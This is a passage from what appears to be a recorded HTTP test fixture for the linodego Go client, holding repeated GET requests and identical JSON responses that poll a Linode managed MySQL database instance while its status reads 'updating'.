Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "648" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - databases:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/mysql/instances/28254 method: GET response: body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", 